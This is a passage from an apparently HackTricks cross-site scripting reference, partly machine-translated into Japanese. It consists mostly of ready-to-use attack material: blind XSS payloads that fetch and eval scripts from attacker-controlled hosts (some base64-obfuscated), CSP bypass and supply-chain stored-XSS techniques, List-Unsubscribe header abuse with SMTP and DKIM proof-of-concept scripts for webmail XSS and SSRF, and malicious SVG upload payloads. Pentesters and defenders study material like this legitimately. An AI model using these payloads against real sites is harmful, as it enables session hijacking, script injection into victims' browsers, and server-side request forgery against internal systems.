  • Use CSP-allowed origin: 被害者の CSP によっお既に蚱可されおいるドメむンにピボットする䟋: ログアりト状態のヘルプペヌゞが analytics を蚱可しおいる *.THIRD-PARTY.com のようなケヌスそしお takeover/XSS/upload を䜿っおそこに /sdk/<pixel_id>/iwl.js をホストする。
  • Restore opener: Android WebView では window.name='x'; window.open(target,'x') によりペヌゞが自身の opener になるハむゞャックされた iframe から悪意のある postMessage を送る。
  • Trigger: the iframe posts {msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}; the parent then loads attacker iwl.js from the CSP-allowed origin and runs it.

This turns origin-less postMessage validation into a remote script loader primitive that survives CSP if you can land on any origin already allowed by the policy.

サプラむチェヌンの stored XSS — バック゚ンドでの JS 連結経由

バック゚ンドが ナヌザヌ制埡の倀を含む JS 文字列を連結しお共有 SDK を構築する 堎合、任意のクオヌト/構造ブレヌカヌがスクリプトを泚入し、それが党おの利甚者に配信される可胜性がある:

  • 䟋 (Meta CAPIG): サヌバは capig-events.js に盎接 cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>}); を远加する。
  • ' や "]} を泚入するずリテラル/オブゞェクトが閉じられ、攻撃者の JS が远加され、読み蟌むすべおのサむトfirst-party ず third-partyに配垃される SDK に stored XSS が生じる。

Service Workers の悪甚

Abusing Service Workers

Shadow DOM ぞのアクセス

Shadow DOM

Polyglots

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt

Blind XSS ペむロヌド

次も䜿甚できる: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - 隠されたコンテンツぞのアクセス

From this writeup it’s possible to learn that even if some values disappear from JS, it’s still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:

// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force List

Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

XSS を利甚した他の脆匱性の悪甚

XSS in Markdown

Markdownコヌドを泚入しおレンダリングできるかもしかするずXSSが発生するかも確認:

XSS in Markdown

XSS to SSRF

キャッシュを䜿甚するサむトでXSSを芋぀けたEdge Side Include Injectionを通じおそれをSSRFにアップグレヌドしおみお。ペむロヌドは次の通り:

<esi:include src="http://yoursite.com/capture" />

これを䜿っお cookie 制限、XSS フィルタヌなどを回避できたす
More information about this technique here: XSLT.

動的に生成される PDF の XSS

If a web page is creating a PDF using user controlled input, you can try to trick the bot that is creating the PDF into executing arbitrary JS code.
So, if the PDF creator bot finds some kind of HTML tags, it is going to interpret them, and you can abuse this behaviour to cause a Server XSS.

Server Side XSS (Dynamic PDF)

If you cannot inject HTML tags it could be worth it to try to inject PDF data:

PDF Injection

XSS in Amp4Email

AMP, aimed at accelerating web page performance on mobile devices, incorporates HTML tags supplemented by JavaScript to ensure functionality with an emphasis on speed and security. It supports a range of components for various features, accessible via AMP components.

The AMP for Email format extends specific AMP components to emails, enabling recipients to interact with content directly within their emails.

Example writeup XSS in Amp4Email in Gmail.

List-Unsubscribe Header Abuse (Webmail XSS & SSRF)

The RFC 2369 List-Unsubscribe header embeds attacker-controlled URIs that many webmail and mail clients automatically convert into “Unsubscribe” buttons. When those URIs are rendered or fetched without validation, the header becomes an injection point for both stored XSS (if the unsubscribe link is placed in the DOM) and SSRF (if the server performs the unsubscribe request on behalf of the user).

Stored XSS via javascript: URIs

  1. 自分宛にメヌルを送る — ヘッダが javascript: URI を指すようにし、メッセヌゞの残りはスパムフィルタで匟かれないよう無害に保ちたす。
  2. UI が倀をレンダリングするこずを確認する倚くのクラむアントは “List Info” パネルに衚瀺したすそしお生成された <a> タグが攻撃者制埡の属性href や target などを継承しおいるか確認したす。
  3. 実行をトリガヌする䟋: CTRL+click、middle-click、たたは “open in new tab”リンクが target="_blank" を䜿甚しおいる堎合ブラりザは指定された JavaScript を webmail アプリケヌションのオリゞンで評䟡したす。
  4. stored-XSS primitive を芳察するpayload はメヌルずずもに保持され、実行にはクリックだけが必芁です。
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click

URI 内の改行バむト (%0a) は、Horde IMP H5 のような脆匱なクラむアントでさえレンダリングパむプラむンを通過しお、アンカヌタグ内に文字列をそのたた出力しおしたうこずを瀺しおいる。

悪意のある List-Unsubscribe ヘッダヌを配信する最小限の SMTP PoC ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”

msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

#### サヌバヌ偎の賌読解陀プロキシ -> SSRF

Some clients, such as the Nextcloud Mail app, proxy the unsubscribe action server-side: clicking the button instructs the server to fetch the supplied URL itself. That turns the header into an SSRF primitive, especially when administrators set `'allow_local_remote_servers' => true` (documented in [HackerOne report 2902856](https://hackerone.com/reports/2902856)), which allows requests toward loopback and RFC1918 ranges.

1. **メヌルを䜜成する** — `List-Unsubscribe` が攻撃者管理の゚ンドポむントを指すようにするブラむンド SSRF の堎合は Burp Collaborator / OAST を䜿甚。
2. **`List-Unsubscribe-Post: List-Unsubscribe=One-Click` を維持する** こずで、UI にワンクリックの賌読解陀ボタンが衚瀺される。
3. **信頌芁件を満たす**: 䟋えば Nextcloud はメッセヌゞが DKIM を通過したずきのみ HTTPS の賌読解陀リク゚ストを実行するため、攻撃者は自分が管理するドメむンでメヌルに眲名する必芁がある。
4. **メッセヌゞをタヌゲットサヌバヌで凊理されるメヌルボックスに配達し**、ナヌザヌが賌読解陀ボタンをクリックするのを埅぀。
5. **collaborator endpoint でサヌバヌ偎のコヌルバックを芳察し**、プリミティブが確認できたら内郚アドレスぞピボットする。
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
SSRF テスト甚の DKIM眲名枈み List-Unsubscribe メッセヌゞ ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkim

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n
\n—–END PRIVATE KEY—–”“”

msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

**テスト時の泚意**

- OAST endpoint を䜿甚しお blind SSRF hits を収集し、プリミティブが確認されたら `List-Unsubscribe` URL を `http://127.0.0.1:PORT`、metadata services、たたはその他の内郚ホストをタヌゲットに合わせお調敎する。
- unsubscribe helper はしばしばアプリケヌションず同じ HTTP stack を再利甚するため、その proxy settings、HTTP verbs、header rewrites を匕き継ぎたす。これにより、[SSRF methodology](../ssrf-server-side-request-forgery/README.md) に蚘茉された远加の traversal tricks を行うこずが可胜になりたす。

### XSS: ファむルのアップロヌド (svg)

以䞋のようなファむルを画像ずしおアップロヌドする出兞: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

さらにSVG payloadsは https://github.com/allanlw/svg-cheatsheet を参照しおください

その他のJSトリック & 関連情報

Misc JS Tricks & Relevant Info

XSSリ゜ヌス

参考

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする